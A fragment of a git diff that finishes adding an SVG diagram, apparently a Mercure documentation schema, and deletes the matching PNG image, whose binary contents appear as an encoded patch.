+  <use xlink:href="#glyph0-8" x="338.111111" y="110.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.7 11 C -3.865625 11 -4 11.134375 -4 11.3 L -4 14.7 C -4 14.865625 -3.865625 15 -3.7 15 L 3.7 15 C 3.865625 15 4 14.865625 4 14.7 L 4 11.3 C 4 11.134375 3.865625 11 3.7 11 Z M -3.7 11 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="71.863281" y="97.302951"/>
+  <use xlink:href="#glyph0-10" x="80.474392" y="97.302951"/>
+  <use xlink:href="#glyph0-11" x="88.25217" y="97.302951"/>
+  <use xlink:href="#glyph0-12" x="101.585503" y="97.302951"/>
+  <use xlink:href="#glyph0-13" x="106.585503" y="97.302951"/>
+  <use xlink:href="#glyph0-14" x="115.474392" y="97.302951"/>
+  <use xlink:href="#glyph0-10" x="124.363281" y="97.302951"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="62.976563" y="122.701389"/>
+  <use xlink:href="#glyph0-16" x="71.032118" y="122.701389"/>
+  <use xlink:href="#glyph0-16" x="79.921007" y="122.701389"/>
+  <use xlink:href="#glyph0-17" x="88.809896" y="122.701389"/>
+  <use xlink:href="#glyph0-18" x="93.532118" y="122.701389"/>
+  <use xlink:href="#glyph0-4" x="97.976563" y="122.701389"/>
+  <use xlink:href="#glyph0-15" x="105.198785" y="122.701389"/>
+  <use xlink:href="#glyph0-19" x="113.25434" y="122.701389"/>
+  <use xlink:href="#glyph0-18" x="118.809896" y="122.701389"/>
+  <use xlink:href="#glyph0-13" x="123.25434" y="122.701389"/>
+  <use xlink:href="#glyph0-14" x="132.143229" y="122.701389"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 12 C 16.134375 12 16 12.134375 16 12.3 L 16 13.7 C 16 13.865625 16.134375 14 16.3 14 L 22.7 14 C 22.865625 14 23 13.865625 23 13.7 L 23 12.3 C 23 12.134375 22.865625 12 22.7 12 Z M 16.3 12 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-11" x="449.089844" y="110.00217"/>
+  <use xlink:href="#glyph0-13" x="462.423177" y="110.00217"/>
+  <use xlink:href="#glyph0-8" x="471.312066" y="110.00217"/>
+  <use xlink:href="#glyph0-18" x="480.200955" y="110.00217"/>
+  <use xlink:href="#glyph0-17" x="484.645399" y="110.00217"/>
+  <use xlink:href="#glyph0-2" x="489.367622" y="110.00217"/>
+  <use xlink:href="#glyph0-6" x="497.700955" y="110.00217"/>
+  <use xlink:href="#glyph0-15" x="502.145399" y="110.00217"/>
+  <use xlink:href="#glyph0-16" x="510.200955" y="110.00217"/>
+  <use xlink:href="#glyph0-16" x="519.089844" y="110.00217"/>
+  <use xlink:href="#glyph0-20" x="527.978733" y="110.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 9 C 16.134375 9 16 9.134375 16 9.3 L 16 10.7 C 16 10.865625 16.134375 11 16.3 11 L 22.7 11 C 22.865625 11 23 10.865625 23 10.7 L 23 9.3 C 23 9.134375 22.865625 9 22.7 9 Z M 16.3 9 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-21" x="447.292969" y="50.00217"/>
+  <use xlink:href="#glyph0-2" x="459.237413" y="50.00217"/>
+  <use xlink:href="#glyph0-8" x="467.570747" y="50.00217"/>
+  <use xlink:href="#glyph0-6" x="476.459635" y="50.00217"/>
+  <use xlink:href="#glyph0-8" x="480.90408" y="50.00217"/>
+  <use xlink:href="#glyph0-3" x="489.792969" y="50.00217"/>
+  <use xlink:href="#glyph0-13" x="495.348524" y="50.00217"/>
+  <use xlink:href="#glyph0-21" x="503.959635" y="50.00217"/>
+  <use xlink:href="#glyph0-20" x="515.90408" y="50.00217"/>
+  <use xlink:href="#glyph0-2" x="522.848524" y="50.00217"/>
+  <use xlink:href="#glyph0-3" x="531.181858" y="50.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 15 C 16.134375 15 16 15.134375 16 15.3 L 16 16.7 C 16 16.865625 16.134375 17 16.3 17 L 22.7 17 C 22.865625 17 23 16.865625 23 16.7 L 23 15.3 C 23 15.134375 22.865625 15 22.7 15 Z M 16.3 15 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-22" x="453.113281" y="170.00217"/>
+  <use xlink:href="#glyph0-13" x="457.835503" y="170.00217"/>
+  <use xlink:href="#glyph0-23" x="466.724392" y="170.00217"/>
+  <use xlink:href="#glyph0-6" x="475.057726" y="170.00217"/>
+  <use xlink:href="#glyph0-24" x="479.50217" y="170.00217"/>
+  <use xlink:href="#glyph0-2" x="488.391059" y="170.00217"/>
+  <use xlink:href="#glyph0-25" x="496.446615" y="170.00217"/>
+  <use xlink:href="#glyph0-18" x="504.224392" y="170.00217"/>
+  <use xlink:href="#glyph0-4" x="508.668837" y="170.00217"/>
+  <use xlink:href="#glyph0-2" x="515.613281" y="170.00217"/>
+  <use xlink:href="#glyph0-20" x="523.946615" y="170.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 13 L 6.45 13 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.45 13.25 L 6.95 13 L 6.45 12.75 Z M 6.45 13.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 13 L 15 13 L 15 10 L 15.45 10 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 10.25 L 15.95 10 L 15.45 9.75 Z M 15.45 10.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 13 L 15 13 L 15 16 L 15.45 16 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 16.25 L 15.95 16 L 15.45 15.75 Z M 15.45 16.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.050195 13 L 15.45 13 " transform="matrix(20,0,0,20,102,-158)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 13.25 L 15.95 13 L 15.45 12.75 Z M 15.45 13.25 " transform="matrix(20,0,0,20,102,-158)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-26" x="193.113281" y="95.517795"/>
+  <use xlink:href="#glyph0-27" x="202.00217" y="95.517795"/>
+  <use xlink:href="#glyph0-9" x="213.113281" y="95.517795"/>
+  <use xlink:href="#glyph0-23" x="221.724392" y="95.517795"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="369.089844" y="95.517795"/>
+  <use xlink:href="#glyph0-9" x="377.700955" y="95.517795"/>
+  <use xlink:href="#glyph0-28" x="386.312066" y="95.517795"/>
+</g>
+</g>
+</svg>
diff --git a/_images/mercure/schema.png b/_images/mercure/schema.png
deleted file mode 100644
index 4616046e5cc53e9540aaaf4d698bf28d34e033d7..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 333957
zcmXt=bwE_l_xI@zMY<aV>28tk2I&xKSh^bl>5`D{hDB=WZt0Nj?xh=l*U$HP{^8~>
zbLXBpbKb9WW+POUWiZi*(O_U;Fy&+=)nQ-|)?r}ajZu(*Gl!l&$1pIIFmjUOnx2^_
z?H*~gmR?{#kIb`SQ@Sd+5dlkUx-ogZgm0)cR38bGqT@I23AcyB{bFg97YO^D_-`#~
zP+_SF3G=&6Y8rJaw9N5TrA?FFJ<L?Hv$6K$Jmf)cZf+i0ZlRF!Jr6?ztCEU}@`@uR
z50Qy;Ig{dxPr<*Y(hn`mZQ9~tpeJqpukWH`v_%#>32^o^5z4a-2$};3NvfJU0>Iox
zvaqPRTT^awaPRxvum|1V-f_0Sf@@{w=|Y=Wzp5-vd77f!^F!S?RCD2kv3yCI5`Im|
zAwMZnS1Tm{nyU3-(D#VO*zz(!SL$Rw`%3J@wi+<df0YJn6CG3C{J(!d^C$^AEAk}g
z@^o8mkAF4to`)2^_4}=7HDCpP!uMLGGVqIn+^IL_*;qZ|3yAvgDSNJ#_)tAW`v3>a
zz}_N6Q<yZTJ&Vno%8RW%JtPcthP~tl3!0ado47p>-Fa->o2rA$7gM3kCYZ<GjNtwQ
zw+6-cGW=-Z101&W2`K3D?@O+B_Mog@UvA}1=4N=J^my4z4wmpZLaG&PUOL-geT)=V
zbS_9%((Ao`sdVo47mhten4mS0-y^WEm{(9kOS;y%c=en;F+95S3{Jiw6B6zs@?+3M
z&;CYVz||%!OC_jzAI(0^$o3e--Xq)I7N}$zn&9mPoAK<~z0=SJ6K?t~K^i#hL7}<1
zgd-jC`-Ae%WLn`B>8>l!;GLF)09Fv6_y^N{G$WW=_D_5Tb|0Ji9tqlFh_Cb=p0jKC
zu(%?IB`tB+(c=jUSBM?kVvB(bUG!ps-JYAA8+BdQ_?;KD(2VF9|B1~DL1YOWLd{RD
z3sb*Y7I587On&I!37i0}<2!S~H7Qg(yJmS$8y)>=eM|X=-t}Y3c(>~RJFP~VBZR!@
ztb8!0pxL>LKZGR|%`Go|t|dsC)0>JnC+|?{N2e3WF4fADq~E1@#*jHV#)$rg_3fh-
zMB5o{Q<5eM%XQ|rHDlF0Rg?Jd!@%u<k43ea${*TPI)!lVNj8YXeeP8@AcQ0@%^_ce
z^zWY%{0Ry(S@rT87dS=^gW1s%5~_A^d8II=k9ONYsK!i1WW$Xn5KshuH1~+tIt~la
z(;B6OQov>gWsp%)x-n6s^uSG8W)f#!Dk{C6OH_vWO*f;{`me?HU?iFXnAK>YS@~~H
z|HylzSl-*CZc$deVU6x^Q2rXeW&6HZjnpK%_Q-ET>U(2(Z5`$H+I$ts=JBo2$8o!)
zwNZcNaYd)Q>4^HnEv7Cp*nqx;gZdDcUsy5u7#PvDEj3YsK&y_p-naqHdFh~Au{P2E
zdP5XH&j$O$Y%=WRnngEPe)b7pXws?xlV_Q?1$YA$6M+<>Axy(Z=wHNqk+c%Xn6pZe
zsSk><rL7TXj`H-m;k~bGZC>!)4vKY>7@Iu1_^h&|iTiOiDr|OF@f-eac{UEjqK-1M
zENpIyCn&C<wr{5#!qXj+^tN<-&Ub3FWn^I{s>!;<@FADZhw<({Ik2yU_cAj3Yc^Zt
zCH=8#+o2!Easy%1mL&O>-tn|wt9GGe<db_%$yZTlY$4FZ*sMYd6A}_G4)yh52b;QO
z+w~ffv|p5G=WH-y@9ryOx-GU{d`$|Cs-8D`^vruO8_;;;ZS(aomQ`KE_`&Gp<>lHY
zEXsgkz<-Ov_MI`0c8GG0EYl*oy4prtjpo#5btVoY<2huo*cywQPsW&#zHc$Kd-Tfh
zIc}lYsCv0eRH@|kZF70xf3-fNF1>~bP1AhWoTU)tAM|#lUQ%(L>8c!QI*7V5lVPK=
zi)02~K^rLOUptAP@cj}ZJb}IFvPP%S1nI-4&u<?fQ(?K}yr})}q>sKvixSLRe(~k)
zP`quCxA_b-?F!fu(iSZDrR$dZX&TIaMX+}Yb&#%-Xu9v_o0Mr;{Jk98Vm_!BbyK*;
zC}16Byd%XG!8;oo%?{0vJPhi}fv3ooGj=mOvlg8UK+c${WASLvR=BEqsC)RcC7`MR
zS;4;-h3gSH+sI7%?z%u+gR_hpp_Y$njlP?lt0F@bL(mfc7U{we;fU@rg*1N*JmCGd
zG&PXP@c6IZ+JXKbI%>Oy@8FmYsTohIIMN)xJ(gUG9P#K0lB<A8BX28q=K@S?oGW}x
zUi;{YbaQQqHe>uFy#2~j?MS@@R6cH_?^M1sG9CQ_tFw&l;AQEZjCj#my=N6JoEV>-
zjKvJMyK<~Z)Cn+r076=LMN!GaY7ktB$LX(z<3o8iz6rz8iIg}H<d7J8*OkM`yOe%n
zJuSmFJOpWyDIqLyuOBK_uVk=)EG3(Y<;~alc&yJk3;Z)7LBwdkDE#ENcPMNu<&6W<
z>(oVToK(I_yF8H|>-kdBM>OkOBBB!QBHygU(k($Nz<ZN4@ohWTlcRW`ua4mnYhtve
zxg0YfNdWCd8tyEI?PoOW1vT>H>9NZz&Jv4fAUIz{VcBV^O;ow|T=XP&S;DvorWkA*
zwtHMGt%b{OwUvn)38qcpLpUMsCap>gL4Pry|0)Hfk`r=2np%OBw;_~vDe^=hP~Bdq
z$Ppg1ewp98*;+?_bxcRU0UV)~zt%tpU3N{`9EjkQ8Q5y|FY}i$K^{-5p7jc<EkYAA
zwew?x^`1=Tm#_Nd#?aUZgA6j4CjYh5?C`;2ZhlM-b+bl(-MSu3j8DO(ba?!y#Y|=P
zcl7bslA~meg0+jDi>{I&zBG{PSKGVZwz|Kp-brWXQnP`}smfdHdu+k-9<5^(aH1m%
z2P&@nc9<!Bn7j>oC$k^|wgq#%ls;76#fn)%3S(g(KLuZtB(2ZX%c{cD{gpk5{N3~w
z_B0Msf|bFaUv5Z9Sa?=hnQD#XbkCcKPI(c=;NKEM>Kff6gReyox9)hCv1q^9b{J}!
z<5l;g_Q)L+BYIZ-{n8fy{lw(Uhia1-pDC6e6TB84f3}Fq6`c0ix%Y~7dfCF2&Tum)
zETvCx6TWulJt=3!9(ZSC-w^PB;QG4VS7qCrvU}{Zf6-gSm78J%d4L42BV`YsnTs6N
z$i0gCB;Azu(pRw8UieJK+Bsi7<zr=J1_uJ?P%%zkL^=GwLPt`$tptLsodT7Vh0Fe3
zzRgk|1lJ5%^PHCId~-va$v65Y{u`z4-PE5CpIDg^<9~&brO{VMsdDGwP3Ds1cCtp?
zVCExktjN;Dm@$<nDHk|V5Pyr39z2pJw#HS6C#m2NT$ZWOtfhsDZm_{#txRYp#9g0n
zv^~$nVu5s?M&O^1SLlQron2d%6uM%%7zjzS>ilv`r6`&j(xQm%oY82G@7{_m><pNV
zzmHbabrAlm7NT_dfL!7ib&^9oquI;EmmR?O$S}7vus|%ePzb(0^7T#0_L{Pi$g-qe
z7)C>lS{XW;dipA3N(y({;+i7OL}kFOu104tU9G_I6j&<Rt$VL@V_jkz?q~$VRWjwm
zG<*t&_87m+?op}TTUK=r?hy7Oq$3bIld>eD$rwN<fXzW1=U5fh-Kr9~yBt_UmSuSE
zjK;3&i0ovERcDE-Uv?FPI&E0Uyhz}hBt2uE1xoVaFN^<<8cJmBqJJPMuV%R|fT>+I
zI*~!-jW{U6&EK-$?-Ume;OSX~G%brs!}5AfiAjI)b%z8*%g+{)u-EzroK0lBq=>%h
zuG&EJ3kriaQdusVjol%uK|@?JAd;{>JaQa7NzMEEgjAXHW%;JpAug>m?CYHt^+d(T
z`QU?{ezyzvzedBSsB+t{aWJoFO@DkthzWKmc6A;-IMVc7U!d-qblq|I%G>DZ1Rr_k
z9j<byo;MnoMO8nWCe5Qa*7VRrOwG4ndyzAqKiBYZZRqG4bq!fOVQXlHMX%{!m4f7`
zM8G`@5YMaV@VC5PBK~0>zPIkr80YsVr}u~2n;f0H4SunTrkFYw@u^bCh^14tQ$5?r
z``rDrYrwZ|UcWEKA8+>RMr0w-xe42{G}rsAuJ#hEi2i#SvonhJTR-;r6RI56X436b
zp!L@frJtz}H$iYRmUqqm_saFEV;8&4=uLiynuVP<8h&{9gkK6KmVn07*X4r_d%%c(
zpQjI=jV8l^9!G3XDc?DLNt!5rOi;Rft$Lgc>w(RXq*w?&fNxg`xxQLFku>TZdi)ZK
z%=@s2?2S3Hnz(+)_CYPl|LHUgXvf4ySigSFIs2$Sx2Z^4&(*M=P2_z(+&a`cI1O}T
zh_;RKspcGG6Qy|C$eZy~Tn(SWTX1hJO*=!zdK9*wm-F1(<L4^xxkZj@BvC|C>qjq}
zAd<(kjl?qsVSzS%Z&Ukk0okqJEOoGf`2Y>-(PhleYa`~X@^t~17OIBFi-_v08Kxu-
zN0Dr*5r3+$wLlvbgimy6{8TO0ct<%K8;l^z)JrdBS|~s0P(n#VpcRvjQ9Io>qIDKh
zKcu#Z%{tT*T>jYIym|cR;g>iM%KT<?LpbR2<IzWct@4EOACbhgt`%a~5AG77!x76J
z4&xKOx>9tY@qV9ocNaa@U6z6N#W@TkZNK*Y2OiH#nDhQTHYJ}K3Z#=nrGEUHyIRZ!
zSdN36tDjb|QaOzHoN$I_vkX%=eR5!~e2rYP5A8X2DNIJ6$Vg?5!Xz+zO_5x?RA9Z)
zMCE-TBU*ekSh=A&IWd@Rk|~!`k|#+vDVWeKcLu9F@h5W@YyMJIAH!Bo{z#KdnTZMX
zbuHF<pLmFp6z1do7%uI%tEKs|GV?*=(Pd06zxiM+nLF=KoJNF5uNY0RL}o@MGgm5?
zudhN2Khiy3p#G)m3YS@-b@z{3&8lOK%g^K+e1s(JGq*v(VM@-w-U-i6F<Zswp+$2u
zSuGTzMbG{_!ik<$z~&78KJv!C$@XP|>4wF+?@ApF!F-69^xp?$7jRuk9Ex+78_TC6
z#3x8Jl|nI>u$7lKN}K4>SU-O1k7hYUCQxK5p9ex?JnnBU9C&}oeUlhA*bvYq`ll#A
zNw;%{xGGFr&E!BxOw0I>+?+xNw&!$6-2(nvBRD>BnGD$_on0ePkTE){&qq~Lh@#+C
ztgh&-^cenTFwJ9r!Rf(1LtI9_Tvt(40`$mw&HDqXP&~w6s#<iH`N_eIqPf&SAO~6~
zRR5;SEVr<uvz~u*!33fDI~ba4%=kHBeLJ`u2%kHR)yvRmV$dwk!0vBR{ED<XAI0$U
zGSvK^y5$bS*altlDPb}tfH&Zbw7!Gtg}$kY>Qzr8HZ7(l$I(E;@g_uvEK7cKR(n^*
z%USHx+93LJAW4vhl9&q1MaP<<-SLB0I9Y7Ex5eql*Sw}=zoL+3`xcC69;n=abgDhY
zP+aJD`9p5)oxxAEAK2B|#PF$^ih^{LDdK4`fX0DMlk7_L5+Z7@S=NdV!hTU#QLu&d
zz|h28!t;j0N)zwiD4>XyTeq?VR2mnq*O#-Q$6V5UkuP%9VZNlnYgn6SA#Ll&M%mxw
z5Hv>jLEO+(;%H!EQ&-a(R`6f~uQ`+wE8A-seH(t_pdw-;MSNy)Y&hJHKm#B82iiWK
z6$v#TJ#K2v#1?Ho>_0^1O)opl><7ic8aMhGw*@PSm*~4Ofj_D)0Q%1;kaEtqH**M(
zuF`;X(Ye!lYzb`uO{tszu3nw5kz{K~B%oxpst8ry#WTlRvdPo%x`AVk2A-HLGJDuf
zJGchMub^!xE%A6?Pc{b+3fFTOlBp^GueC5g6*?TMc8n+^^=m$yOe(QKo)<K4++3I-
zYr?X|5P3!+je@>Ux*4*r&W3GO!aPO?u>KVH_B&=(%7Y#vzun-4`1wV)f#>*R!_s^I
zyy)w3VOLtTZ12wieLEn1-rz?G!GAPGMv`tueA|mf6XT4|8%hR<MSQzRI6#cEEbJiG
zqp3THOKL?bHc>%LGze*E^oRecU_$F3`foV?sbGP-^HF?yD-~<VZVE-_{7)VKkt)qu
z_QJHK1pPPTA-Eb`%{hpBxY<&uEktt>6b6L8tC=H*%a}xSMUCK$cW&z0E4Br?P7a+I
zzBv4St{K-DoioN8(JL;1*(;`3UOW9>=|3?NtzIqW*|_RD=i+@#JcSnsl~jXAk`@S6
zQVU7&c5|L6K%%)h+R1)8#oQ~&?4kD(v6ZX>CB!o#RxV^hN_7EY<+im;KnFB?#)q8e
z-{yNmDWGixhqV)KIg?RhC&syopKnR;G`y=#kO9fuayW+?c(tf7E`$z5S4zv{BaNo1
zWZ*{j#}<JELohFgmHsmCXkt>d{IXnz*sJnBTn=Jmnt!&z?$TOobL|~$qU2rU!rYf4
ziTmpl?UWH@AY_2ON8gwMP|kvAeAai`Usc*_Y<f{-?I&II&GvA=N@LF?>=>x!I!nn(
zV%*P~$hsIIG32sS3XM^;rzRRAX_4ORW@PM<$BA|I_6uKuMzV0$CZE6zF!su}pA;I+
zgDM<gN%+hM(e=*B2wr&2SFy*j&-wAp8Sr@i)9A>Bh??Sa`hTz7VOU3|9I9rS(phZY
z7i-V4rYjYvh0OqNRZr{v&EWhgB?7LuSn-Qg^3<7(r{!PP$HZG(ls<8u4Th)^$E%)D
z)k6o!LtWQ72k#@#GO`VF#ugk#v<+k^3O$;;9M3NDT{O2%+oV+8P%%Hy$4lMxuo(50
z@0I-&h*2{}A5-=w)PKyCtHivEo~<y<A!Z;f(`hZ0>#Qg)&v*a%!Cyy7ONukSiUUUC
zvE^+uN|&|`!Pp+RJnM-K;vZkAn=M^HBsMXXzCm7wk@OJ#U$QYk$8$b5MFa^bY5p^=
zgKhf1t3PEVueQGi#lZxiT>rFp{(OrlDy+Hz9W6W#kIPT7HT1PVGw`o>MVeJV<?ST9
zXZ%vo3b-Wx2m*V?a6-@Rx&;n-xL~aT>EFKq=}QDFZeUtyB>j=HkR`Jq70E(NdV%&a
zom7?HA?jnhWX4o}@(6IB_s{O)CV*E(!-!P_BcmWL<Jsf-1LaAn)7g2fm_b@mxLtZ&
zhW@LgY04C~GGqGtV)w#3ClZpIvH7ax=O9peJzB0BHsE5Nl<JRh{JCTywChKbVwp?j
zJG4qZ%e!NR{%uf&t`b<6-r8Bx&b7{vtE*1v4peP^?UM4Zpa*Ikm~_rzh8PO!qG0E3
zS-%bH3s#NN){Q(h8!Wx}M2-m^WGS!sDY-r!b4|E(;3BU7#%8lz;g{hFAsuDpUVHr%
zB=ApIeMiwKATnw9npR~|2vmTv5{T%<yQJDKxlaB3n|CQ*)$cK&jhaSZF2|h&0*K>j
z<SWV5mXY$Kf(^<Il#hQmGS-%rG*&23+QAv4{cBc?aBUHMgqNq%zUvl&{!qM-XoBSI
z0dxkK99SdJqnBAsh0pnJOnd7v?bf@g(`53`0>PbGtq3E%r@UG4qOdDgUeiT<3c!n5
zn?f>)?qj54u)m1mh4~_%*8z&SLolWgXR21(Pi8Hk{Kb!-kg)Z4`KepV@UlM*xa?8L
zLAb1%93%UM$`7~EO6($*`%fX82@QH&e>>(OtOla)XR0%M*(-E{vL9QWd@u%nk%ve+
zfdkhwFv4rmm*gEh3LJO=Dt)zi^_Ol@&TcdAHhahP8Y%@ktFw`P-z1~lXN(Cv+Smus
z;lE!`$5BQZ&mOite`#y|s~o0|9*bR&Zj?Fhyv`-kc6%-0{L>^|KN&&nGk?}HK5L+j
zPU~0z>@)9|f_0k~DX#T2Mjgs}>MtW@&#fuEmS>B&UmG}QK<@2Zxfa$-?vdD%YG!T2
zR0AYm))QquU~DfyWC?ZGAy)IYJnraUQE9pf+i5jawvjV-?hVSWqND2u>ACMHVw`WB
zm^q6xM>_fLf@53s@D8I~j><T8HACdpsvT^k27b&8bk0D3VyovZl_BMAO{rFP@%)@H
zis?sKXEJy<uY4u=z1PhedtR^%j;{I%OpV5rma<JcezH4{+~{KGp40B4^Erz7eTVBH
z$}+`a2r;d*Ry9eM*>#~n&K0z1ufoeAqcyN+`u&hoZJ9sDGyazX?Dk873P%=)n&G2!
z9&cVLL+uT{6_cd7brL>osS3v`qRgoB%Gb4~ZhGcU2wrAXK5$^+$XcH0XMHSdE0kPX
zKq+u%Y+Faq8SbK%+{7x^=Vq-nG(|ctr3OcR_;Q|ZZ;7>^&-C9nU41?S^V}R3X;XN!
zps|j;QO+^5d1<locbvKoc3F}esh`~=b4;TXkG!d$eypFp9hlz^RS2Abv;66wt+x~6
zC$zZql6G^26(qk)8vvb?SQPqce}B@IfJ4z?7W{<|jNoYTX##A&l@nPYY%Ey0T8y`0
z9QYUWg9%?1H=xgzk8D31uJpt59%5crv7T+gWMoP{HdMG0xzG7Tvo0U#b59iS%J$Hs
z(o`%Q>*r%;nETY6$s8Aop=IoRZZ&HbkrcUHur4&7MR)(+AyrtZ4<Vc~>XOimS|dci
z(0x+IA?m~FcS7k~uuEkgs-LwIWj5i<X9*lBIqQKaSENb5?P-RclpIVtu%aj*9wCYT
zv#vr(&)qOo=(>Ptwf9sCCY-x}Fzs50nNRl@Q`;NKUTteQH)_F|YO0h@W|r%4nxI@?
z6oDxkV61bAHQW)=XCOMmbQt%Uxa9D4Kf?id;&MI8^LuE39VDc*r}!cm2_y5Rm=SoO
z>+ZuXvB;X?nEuYB{)VGO82kRIEn|F&z|w0LWmEGP(R}2Ll>@c{l#I--p~rI>H{Y|$
zba&i}-anQ#{Pq&WO;NEFnFjj;5K<cpOI!=Lbh3Tim9h_f)3SbwQf|l{ZfL8-cc}*J
z#-1ed%*K5CPYPA%Y;Es+89?ky=WOjAolxba!l{#Tg^4JOCN_Hh{GRP|7z!EI$Rk(1
zv-fNBok{RB{ju2K$lGy?=C4mE$Tz88Pbt<dtvfV)tv~iEgu>qoPtV`?YsOTJXY49j
zP9(}9&tN9oT6fer(yxE!N4AMc@J15BdZzzU@YnR|quPZX&V(<4gVzTsx)|jySr)yn
z7*U<8CNws?M8_d-bMvPc>#(OyL&o2h{$qIjv;+IXJ&t0dehT=g;VTFF^&KNbE1KdC
zVpll4MUH5ETJg)<Wl4+<cyt;vtM8kpM%Q`maQwv6mD@9RU#De#vf1M%&WdBDyRpYl
zXQxW<y9I`u?Apa9;kx@oh1QDHvby;odHR5sKSbXDI)y+aua7#n(-*@>Sak=+<lnp$
ztvNc~uv=eRuCEB{M2KZyu4EP&24Ugy7ab$&U{e&PD7<%Q{gRd=x&n5~iLbisP$*t-
zA0b6GoVXi(CFKKAY#ydMV?GVL>fBEjC1nN}IEK<&FpI1Rc80d5D))U#eS!Z*u~N{8
zjjO$|<Hjuq5Qb%dajb8KDmehU+s}5wtm$JT0um3xz2jXQV%xNdhG#yfWKNpQb;Q{%
zi)olrmb7%^ng>5XCj87kzv#8c($4F+W4{|p(PcWDc<Fx~LvJW!{fW2hUzq;QyCGhL
znbL1{B~BB)f+90D!G^pfUoZsZpfPYeh$h2S{tmE^|8{crQgNWx{m7aftZO<>#B7<d
zP`B3E>#H5k^TXx-3Lk%EI5)QBcOtLq*`3d8;+iQMm^ql()faip^!$gDyE?Dh@Mpel
zar*99b=>Qpp*PSF?dI1=)Yt`FgW^ezqLBOWEp7UFUSL>YJi|j7qGQGv074<0aip=l
zf{YY1IE}BpMqZ(D2s^n@3PB3<2ll;CX+ngx84@QNkOJFm&w=+ZBBot(Ni5Av&P-Y}
zJVC(iAY<zNo`~qskG3FZ@JQ0Xc<hhQP;-*VR`SkDXXN}bu9snX=~)6xwF1&F<!g7l
zc&XQw;jT-0|Kf1@_@WMq%$#I-5y2F{`#raM{p0O&)Xf!Tjs_3A7~E3i%{JeVsmCTg
z1|uzp&FwIV#M75(m>d|<@4ouf$)&X{e<?xdof+AMOD=jsdIoY+NlDvQMd=$d*jUj1
z)-aQXspZq_f)vm7q9oEuHi`swfnmrw*^d4l_NV4wKBOXE*&YVMV;@DE1VE;T2(MpX
z%}TF<NSOFuVk5_1Wm+p-NgVdmKge;X2(XVG5e)$w&QdFGvF;SZ2UHr8xGIO8UrE&O
z&dBr)7jS1qTzUg06%e&1<-T@m3*4z}@lo3CBa#&cU!Q9)Vk@5??^$xEkCc`Af8vXa
zvnT67L|i4FkRTIlq6Ef*SD{)_c@z@}PjaxlT@KZMnjSEi3wNuP0OEW0p1^=fyQD8I
z+1p`3aL6U6$dYB{5zQD7yY)W!3D>%t9f9h0&va3;ZyCmNR}DhpM;fX;bhd35C)7Gw
zViMZ>r@R6=n+if<&HKY^1Mn6$20okIV6g&OCL%?TCcWR#m<N~p*DYOD+vr)Y15-(+
